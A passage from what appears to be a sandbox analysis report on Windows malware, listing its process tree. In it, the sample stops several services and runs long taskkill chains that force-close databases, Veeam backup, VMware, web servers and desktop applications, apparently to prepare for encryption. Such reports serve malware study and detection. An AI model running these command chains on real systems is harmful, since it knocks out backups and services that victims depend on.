        6⤵
        
        PID:9052
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "Bonjour Service"
        5⤵
        
        PID:8932
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Bonjour Service"
        6⤵
        
        PID:6432
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "Apple Mobile Device Service"
        5⤵
        
        PID:6960
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Apple Mobile Device Service"
        6⤵
        
        PID:6868
    - - C:\Windows\SysWOW64\net.exe
        
        net stop "ABBYY.Licensing.FineReader.Professional.12.0"
        5⤵
        
        PID:6184
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "ABBYY.Licensing.FineReader.Professional.12.0"
        6⤵
        
        PID:7876
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c "color e & @taskkill /IM sqlservr.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM java.exe /F & @taskkill /IM fdhost.exe /F & @taskkill /IM fdlauncher.exe /F & @taskkill /IM Veeam.Backup.Service.exe /F & @taskkill /IM reportingservicesservice.exe /F & @taskkill /IM softmgrlite.exe /F & @taskkill /IM sqlbrowser.exe /F & @taskkill /IM ssms.exe /F & @taskkill /IM vmtoolsd.exe /F & @taskkill /IM baidunetdisk.exe /F & @taskkill /IM yundetectservice.exe /F & @taskkill /IM ssclient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM RAVCp164.exe /F & @taskkill /IM igfxEM.exe /F & @taskkill /IM igfxHK.exe /F & @taskkill /IM igfxTray.exe /F & @taskkill /IM 360bdoctor.exe /F & @taskkill /IM GNCEFExternal.exe /F & @taskkill /IM PrivacyIconClient.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM GoogleCrashHandler.exe /F & @taskkill /IM GoogleCrashHandler64.exe /F & @taskkill /IM GoogleUpdate.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM "FileZilla server.exe" /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM UIODetect.exe /F & @taskkill /IM AutoDealService.exe /F & @taskkill /IM Admin.exe /F & @taskkill /IM IDDAService.exe /F & @taskkill /IM EnergyDataService.exe /F & @taskkill /IM EnterprisePortal.exe /F & @taskkill /IM MPService.exe /F & @taskkill /IM TransMain.exe /F & @taskkill /IM DAService.exe /F & @taskkill /IM tomcat7.exe /F & @taskkill /IM cohernece.exe /F & @taskkill /IM vmware-tray.exe /F & @taskkill /IM MsDtsSrvr.exe /F & @taskkill /IM Kingdee.K3.CRM.MMC.MMCService.exe /F & @taskkill /IM Kingdee.k3.Weixin.ClientService.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F & @taskkill /IM Kingdee.K3.HR.Server.exe /F & @taskkill /IM Kingdee.K3.PUBLIC.KDSvrMgrHost.exe /F & @taskkill /IM tomcat5.exe /F & @taskkill /IM Kingdee.DeskTool.exe /F & @taskkill /IM UserClient.exe /F & @taskkill /IM GNAupdaemon.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM ImtsEventSvr.exe /F & @taskkill /IM mysqld-nt.exe /F & @taskkill /IM 360EnterpriseDiskUI.exe /F & @taskkill /IM msmdsrv.exe /F & @taskkill /IM UpdateData.exe /F & @taskkill /IM WebApi.Host.exe /F & @taskkill /IM VGAuthService.exe /F & @taskkill /IM omtsreco.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM msdtc.exe /F & @taskkill /IM mmc.exe /F & @taskkill /IM emagent.exe /F & @taskkill /IM SoftMgrLite.exe /F & @taskkill /IM tomcat8.exe /F & @taskkill /IM QQprotect.exe /F & @taskkill /IM isqlplussvc.exe /F & @taskkill /IM nmesrvc.exe /F & @taskkill /IM mysqld.exe /F & @taskkill /IM jusched.exe /F & @taskkill /IM MtxHotPlugService.exe /F & @taskkill /IM jucheck.exe /F & @taskkill /IM wordpad.exe /F & @taskkill /IM SecureCRT.exe /F & @taskkill /IM chrome.exe /F & @taskkill /IM Thunder.exe /F"
      4⤵
      PID:1992
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:736
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM sqlservr.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3532
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM httpd.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2580
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM java.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5796
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM fdhost.exe /F
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:6068
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM fdlauncher.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4616
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM Veeam.Backup.Service.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6120
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM reportingservicesservice.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5160
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM softmgrlite.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5464
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM sqlbrowser.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1180
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ssms.exe /F
        5⤵
        
        PID:5716
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM vmtoolsd.exe /F
        5⤵
        
        PID:5580
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM baidunetdisk.exe /F
        5⤵
        
        PID:2252
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM yundetectservice.exe /F
        5⤵
        
        PID:7724
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ssclient.exe /F
        5⤵
        
        PID:7344
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM GNAupdaemon.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        
        PID:6028
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM RAVCp164.exe /F
        5⤵
        Kills process with taskkill
        
        PID:8584
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM igfxEM.exe /F
        5⤵
        
        PID:8016
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM igfxHK.exe /F
        5⤵
        
        PID:9020
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM igfxTray.exe /F
        5⤵
        
        PID:5924
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM 360bdoctor.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:9008
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM GNCEFExternal.exe /F
        5⤵
        Kills process with taskkill
        
        PID:7336
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM PrivacyIconClient.exe /F
        5⤵
        
        PID:9096
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM UIODetect.exe /F
        5⤵
        
        PID:9196
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM AutoDealService.exe /F
        5⤵
        
        PID:8320
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM IDDAService.exe /F
        5⤵
        
        PID:7084
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM EnergyDataService.exe /F
        5⤵
        
        PID:7860
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM MPService.exe /F
        5⤵
        
        PID:8700
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM TransMain.exe /F
        5⤵
        
        PID:3676
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM DAService.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:9056
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM GoogleCrashHandler.exe /F
        5⤵
        Kills process with taskkill
        
        PID:6980
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM GoogleCrashHandler64.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1400
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM GoogleUpdate.exe /F
        5⤵
        
        PID:6768
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM cohernece.exe /F
        5⤵
        
        PID:6248
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM vmware-tray.exe /F
        5⤵
        Kills process with taskkill
        
        PID:8624
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM MsDtsSrvr.exe /F
        5⤵
        
        PID:296
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM msmdsrv.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6772
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM "FileZilla server.exe" /F
        5⤵
        
        PID:7344
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM UpdateData.exe /F
        5⤵
        
        PID:388
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM WebApi.Host.exe /F
        5⤵
        
        PID:6284
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM VGAuthService.exe /F
        5⤵
        
        PID:6272
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM omtsreco.exe /F
        5⤵
        
        PID:8576
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM TNSLSNR.exe /F
        5⤵
        
        PID:8028
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM oracle.exe /F
        5⤵
        
        PID:5604
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM msdtc.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6848
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM mmc.exe /F
        5⤵
        
        PID:8864
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM emagent.exe /F
        5⤵
        
        PID:6260
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM SoftMgrLite.exe /F
        5⤵
        
        PID:8188
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM UIODetect.exe /F
        5⤵
        
        PID:6464
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM AutoDealService.exe /F
        5⤵
        Kills process with taskkill
        
        PID:7756
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM Admin.exe /F
        5⤵
        
        PID:8312
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM IDDAService.exe /F
        5⤵
        
        PID:6712
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM EnergyDataService.exe /F
        5⤵
        
        PID:3484
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM EnterprisePortal.exe /F
        5⤵
        
        PID:3652
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM MPService.exe /F
        5⤵
        
        PID:8088
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM TransMain.exe /F
        5⤵
        
        PID:7440
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM DAService.exe /F
        5⤵
        
        PID:8224
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM tomcat7.exe /F
        5⤵
        
        PID:6780
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM cohernece.exe /F
        5⤵
        
        PID:6812
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM vmware-tray.exe /F
        5⤵
        
        PID:464
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM MsDtsSrvr.exe /F
        5⤵
        
        PID:6576
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM Kingdee.K3.CRM.MMC.MMCService.exe /F
        5⤵
        
        PID:8176
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM Kingdee.k3.Weixin.ClientService.exe /F
        5⤵
        Kills process with taskkill
        
        PID:9188
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM Kingdee.K3.PUBLIC.BkgSvcHost.exe /F
        5⤵
        
        PID:6604
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c "color e & @taskkill /IM ThunderPlatform.exe /F & @taskkill /IM iexplore.exe /F & @taskkill /IM vm-agent.exe /F & @taskkill /IM vm-agent-daemon.exe /F & @taskkill /IM eSightService.exe /F & @taskkill /IM cygrunsrv.exe /F & @taskkill /IM wrapper.exe /F & @taskkill /IM nginx.exe /F & @taskkill /IM node.exe /F & @taskkill /IM sshd.exe /F & @taskkill /IM vm-tray.exe /F & @taskkill /IM iempwatchdog.exe /F & @taskkill /IM sqlwriter.exe /F & @taskkill /IM php.exe /F & @taskkill /IM "notepad++.exe" /F & @taskkill /IM "phpStudy.exe" /F & @taskkill /IM OPCClient.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM SupportAssistAgent.exe /F & @taskkill /IM SunloginClient.exe /F & @taskkill /IM SOUNDMAN.exe /F & @taskkill /IM WeChat.exe /F & @taskkill /IM TXPlatform.exe /F & @taskkill /IM Tencentdll.exe /F & @taskkill /IM httpd.exe /F & @taskkill /IM jenkins.exe /F & @taskkill /IM QQ.exe /F & @taskkill /IM HaoZip.exe /F & @taskkill /IM HaoZipScan.exe /F & @taskkill /IM navicat.exe /F & @taskkill /IM TSVNCache.exe /F & @taskkill /IM RAVCpl64.exe /F & @taskkill /IM secbizsrv.exe /F & @taskkill /IM aliwssv.exe /F & @taskkill /IM Helper_Haozip.exe /F & @taskkill /IM acrotray.exe /F & @taskkill /IM "FileZilla Server Interface.exe" /F & @taskkill /IM YoudaoNote.exe /F & @taskkill /IM YNoteCefRender.exe /F & @taskkill /IM idea.exe /F & @taskkill /IM fsnotifier.exe /F & @taskkill /IM picpick.exe /F & @taskkill /IM lantern.exe /F & @taskkill /IM sysproxy-cmd.exe /F & @taskkill /IM service.exe /F & @taskkill /IM pcas.exe /F & @taskkill /IM PresentationFontCache.exe /F & @taskkill /IM RtWlan.exe /F & @taskkill /IM monitor.exe /F & @taskkill /IM Correspond.exe /F & @taskkill /IM ChatServer.exe /F & @taskkill /IM InetMgr.exe /F & @taskkill /IM LogonServer.exe /F & @taskkill /IM GameServer.exe /F & @taskkill /IM ServUAdmin.exe /F & @taskkill /IM ServUDaemon.exe /F & @taskkill /IM update0.exe /F & @taskkill /IM server.exe /F & @taskkill /IM w3wp.exe /F & @taskkill /IM notepad.exe /F & @taskkill /IM PalmInputService.exe /F & @taskkill /IM PalmInputGuard.exe /F & @taskkill /IM UpdateServer.exe /F & @taskkill /IM UpdateGate.exe /F & @taskkill /IM DBServer.exe /F & @taskkill /IM LoginGate.exe /F & @taskkill /IM SelGate.exe /F & @taskkill /IM RunGate.exe /F & @taskkill /IM M2Server.exe /F & @taskkill /IM LogDataServer.exe /F & @taskkill /IM LoginSrv.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM sqlceip.exe /F & @taskkill /IM mqsvc.exe /F & @taskkill /IM RefundOrder.exe /F & @taskkill /IM ClamTray.exe /F & @taskkill /IM AdobeARM.exe /F & @taskkill /IM veeam.backup.shell.exe /F & @taskkill /IM VpxClient.exe /F & @taskkill /IM vmware-vmrc.exe /F & @taskkill /IM DSCPatchService.exe /F & @taskkill /IM scktsrvr.exe /F & @taskkill /IM ServerManager.exe /F & @taskkill /IM Dispatcher.exe /F & @taskkill /IM EFDispatcher.exe /F & @taskkill /IM ClamWin.exe /F & @taskkill /IM srvany.exe /F & @taskkill /IM JT_AG-8332.exe /F & @taskkill /IM XXTClient.exe /F & @taskkill /IM clean.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM "Net.Service.exe" /F & @taskkill /IM plsqldev.exe /F & @taskkill /IM splwow64.exe /F & @taskkill /IM Oobe.exe /F & @taskkill /IM QQYService.exe /F & @taskkill /IM sqlservr.exe /F & @taskkill /IM SGTool.exe /F & @taskkill /IM postgres.exe /F & @taskkill /IM AppVShNotify.exe /F & @taskkill /IM OfficeClickToRun.exe /F & @taskkill /IM EntDT.exe /F & @taskkill /IM EntPublish.exe /F"
      4⤵
      PID:860
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ThunderPlatform.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2344
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM iexplore.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5452
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM vm-agent.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4244
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM vm-agent-daemon.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3684
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM eSightService.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5620
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM cygrunsrv.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:6124
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM wrapper.exe /F
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5856
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM nginx.exe /F
        5⤵
        
        PID:5144
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM node.exe /F
        5⤵
        
        PID:6172
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM sshd.exe /F
        5⤵
        
        PID:5080
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM vm-tray.exe /F
        5⤵
        
        PID:8088
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM iempwatchdog.exe /F
        5⤵
        
        PID:2012
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM sqlwriter.exe /F
        5⤵
        
        PID:6516
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM php.exe /F
        5⤵
        
        PID:8112
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM "notepad++.exe" /F
        5⤵
        
        PID:4576
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM "phpStudy.exe" /F
        5⤵
        
        PID:4204
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM OPCClient.exe /F
        5⤵
        
        PID:5240
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM navicat.exe /F
        5⤵
        
        PID:5500
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM SupportAssistAgent.exe /F
        5⤵
        
        PID:9076
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM SunloginClient.exe /F
        5⤵
        
        PID:6604
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM SOUNDMAN.exe /F
        5⤵
        
        PID:6764
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM WeChat.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:8836
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM TXPlatform.exe /F
        5⤵
        
        PID:6164
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM Tencentdll.exe /F
        5⤵
        
        PID:6228
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM httpd.exe /F
        5⤵
        
        PID:8220
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM jenkins.exe /F
        5⤵
        
        PID:3852
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM QQ.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5744
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM HaoZip.exe /F
        5⤵
        
        PID:6984
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM HaoZipScan.exe /F
        5⤵
        
        PID:8812
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM navicat.exe /F
        5⤵
        
        PID:7296
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM TSVNCache.exe /F
        5⤵
        
        PID:8976
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM RAVCpl64.exe /F
        5⤵
        
        PID:5124
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM secbizsrv.exe /F
        5⤵
        
        PID:2292
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM aliwssv.exe /F
        5⤵
        
        PID:648
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM Helper_Haozip.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:7980
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM acrotray.exe /F
        5⤵
        
        PID:9072
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM "FileZilla Server Interface.exe" /F
        5⤵
        
        PID:7036
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM YoudaoNote.exe /F
        5⤵
        
        PID:8872
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM YNoteCefRender.exe /F
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:7480
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM idea.exe /F
        5⤵
        
        PID:1052
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM fsnotifier.exe /F
        5⤵
        
        PID:3232
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM picpick.exe /F
        5⤵
        
        PID:8716
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM lantern.exe /F
        5⤵
        
        PID:1932
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM sysproxy-cmd.exe /F
        5⤵
        
        PID:3404
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM service.exe /F
        5⤵
        
        PID:3776
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM pcas.exe /F
        5⤵
        
        PID:880
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM PresentationFontCache.exe /F
        5⤵
        
        PID:8324
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM RtWlan.exe /F
        5⤵
        
        PID:7880
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM monitor.exe /F
        5⤵
        Kills process with taskkill
        
        PID:7444
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM Correspond.exe /F
        5⤵
        
        PID:4176
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM ChatServer.exe /F
        5⤵
        
        PID:6324
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /IM InetMgr.exe /F
        5⤵
        
        PID:6836
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c "color e & @taskkill /IM pg_ctl.exe /F & @taskkill /IM rcrelay.exe /F & @taskkill /IM SogouImeBroker.exe /F & @taskkill /IM CCenter.exe /F & @taskkill /IM ScanFrm.exe /F & @taskkill /IM d_manage.exe /F & @taskkill /IM RsTray.exe /F & @taskkill /IM wampmanager.exe /F & @taskkill /IM RavTray.exe /F & @taskkill /IM mssearch.exe /F & @taskkill /IM sqlmangr.exe /F & @taskkill /IM msftesql.exe /F & @taskkill /IM SyncBaseSvr.exe /F & @taskkill /IM oracle.exe /F & @taskkill /IM TNSLSNR.exe /F & @taskkill /IM SyncBaseConsole.exe /F & @taskkill /IM aspnet_state.exe /F & @taskkill /IM AutoBackUpEx.exe /F & @taskkill /IM redis-server.exe /F & @taskkill /IM MySQLNotifier.exe /F & @taskkill /IM oravssw.exe /F & @taskkill /IM fppdis5.exe /F & @taskkill /IM His6Service.exe /F & @taskkill /IM dinotify.exe /F & @taskkill /IM JhTask.exe /F & @taskkill /IM Executer.exe /F & @taskkill /IM AllPassCBHost.exe /F & @taskkill /IM ap_nginx.exe /F & @taskkill /IM AndroidServer.exe /F & @taskkill /IM XT.exe /F & @taskkill /IM XTService.exe /F & @taskkill /IM AllPassMCService.exe /F & @taskkill /IM IMEDICTUPDATE.exe /F & @taskkill /IM FlashHelperService.exe /F & @taskkill /IM ap_redis-server.exe /F & @taskkill /IM UtilDev.WebServer.Monitor.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM FoxitProtect.exe /F & @taskkill /IM ftnlses.exe /F & @taskkill /IM ftusbrdwks.exe /F & @taskkill /IM ftusbrdsrv.exe /F & @taskkill /IM ftnlsv.exe /F & @taskkill /IM Syslogd_Service.exe /F & @taskkill /IM UWS.HighPrivilegeUtilities.exe /F & @taskkill /IM ftusbsrv.exe /F & @taskkill /IM UWS.LowPrivilegeUtilities.exe /F & @taskkill /IM UWS.AppHost.Clr2.AnyCpu.exe /F & @taskkill /IM winguard_x64.exe /F & @taskkill /IM vmconnect.exe /F & @taskkill /IM UWS.AppHost.Clr2.x86.exe /F & @taskkill /IM firefox.exe /F & @taskkill /IM usbrdsrv.exe /F & @taskkill /IM usbserver.exe /F & @taskkill /IM Foxmail.exe /F & @taskkill /IM qemu-ga.exe /F & @taskkill /IM wwbizsrv.exe /F & @taskkill /IM ZTEFileTranS.exe /F & @taskkill /IM ZTEUsbIpc.exe /F & @taskkill /IM ZTEUsbIpcGuard.exe /F & @taskkill /IM AlibabaProtect.exe /F & @taskkill /IM kbasesrv.exe /F & @taskkill /IM ZTEVdservice.exe /F & @taskkill /IM MMRHookService.exe /F & @taskkill /IM extjob.exe /F & @taskkill /IM IpOverUsbSvc.exe /F & @taskkill /IM VMwareTray.exe /F & @taskkill /IM devenv.exe /F & @taskkill /IM PerfWatson2.exe /F & @taskkill /IM ServiceHub.Host.Node.x86.exe /F & @taskkill /IM ServiceHub.IdentityHost.exe /F & @taskkill /IM ServiceHub.VSDetouredHost.exe /F & @taskkill /IM ServiceHub.SettingsHost.exe /F & @taskkill /IM ServiceHub.Host.CLR.x86.exe /F & @taskkill /IM ServiceHub.RoslynCodeAnalysisService32.exe /F & @taskkill /IM ServiceHub.DataWarehouseHost.exe /F & @taskkill /IM Microsoft.VisualStudio.Web.Host.exe /F & @taskkill /IM SQLEXPRWT.exe /F & @taskkill /IM setup.exe /F & @taskkill /IM remote.exe /F & @taskkill /IM setup100.exe /F & @taskkill /IM landingpage.exe /F & @taskkill /IM WINWORD.exe /F & @taskkill /IM KuaiYun.exe /F & @taskkill /IM HwsHostPanel.exe /F & @taskkill /IM NovelSpider.exe /F & @taskkill /IM Service_KMS.exe /F & @taskkill /IM WebServer.exe /F & @taskkill /IM ChsIME.exe /F & @taskkill /IM btPanel.exe /F & @taskkill /IM Protect_2345Explorer.exe /F & @taskkill /IM Pic_2345Svc.exe /F & @taskkill /IM vmware-converter-a.exe /F & @taskkill /IM vmware-converter.exe /F & @taskkill /IM vmware.exe /F & @taskkill /IM vmware-unity-helper.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM vmware-vmx.exe /F & @taskkill /IM usysdiag.exe /F & @taskkill /IM PopBlock.exe /F & @taskkill /IM gsinterface.exe /F & @taskkill /IM Gemstar.Group.CRS.Client.exe /F & @taskkill /IM TenpayServer.exe /F & @taskkill /IM RemoteExecService.exe /F & @taskkill /IM VS_TrueCorsManager.exe /F & @taskkill /IM ntpsvr-2019-01-22-wgs84.exe /F & @taskkill /IM rtkjob-ion.exe /F & @taskkill /IM ntpsvr-2019-01-22-no-usrcheck.exe /F & @taskkill /IM NtripCaster-2019-01-08.exe /F & @taskkill /IM BACSTray.exe /F & @taskkill /IM protect.exe /F & @taskkill /IM hfs.exe /F & @taskkill /IM jzmis.exe /F & @taskkill /IM NewFileTime_x64.exe /F & @taskkill /IM 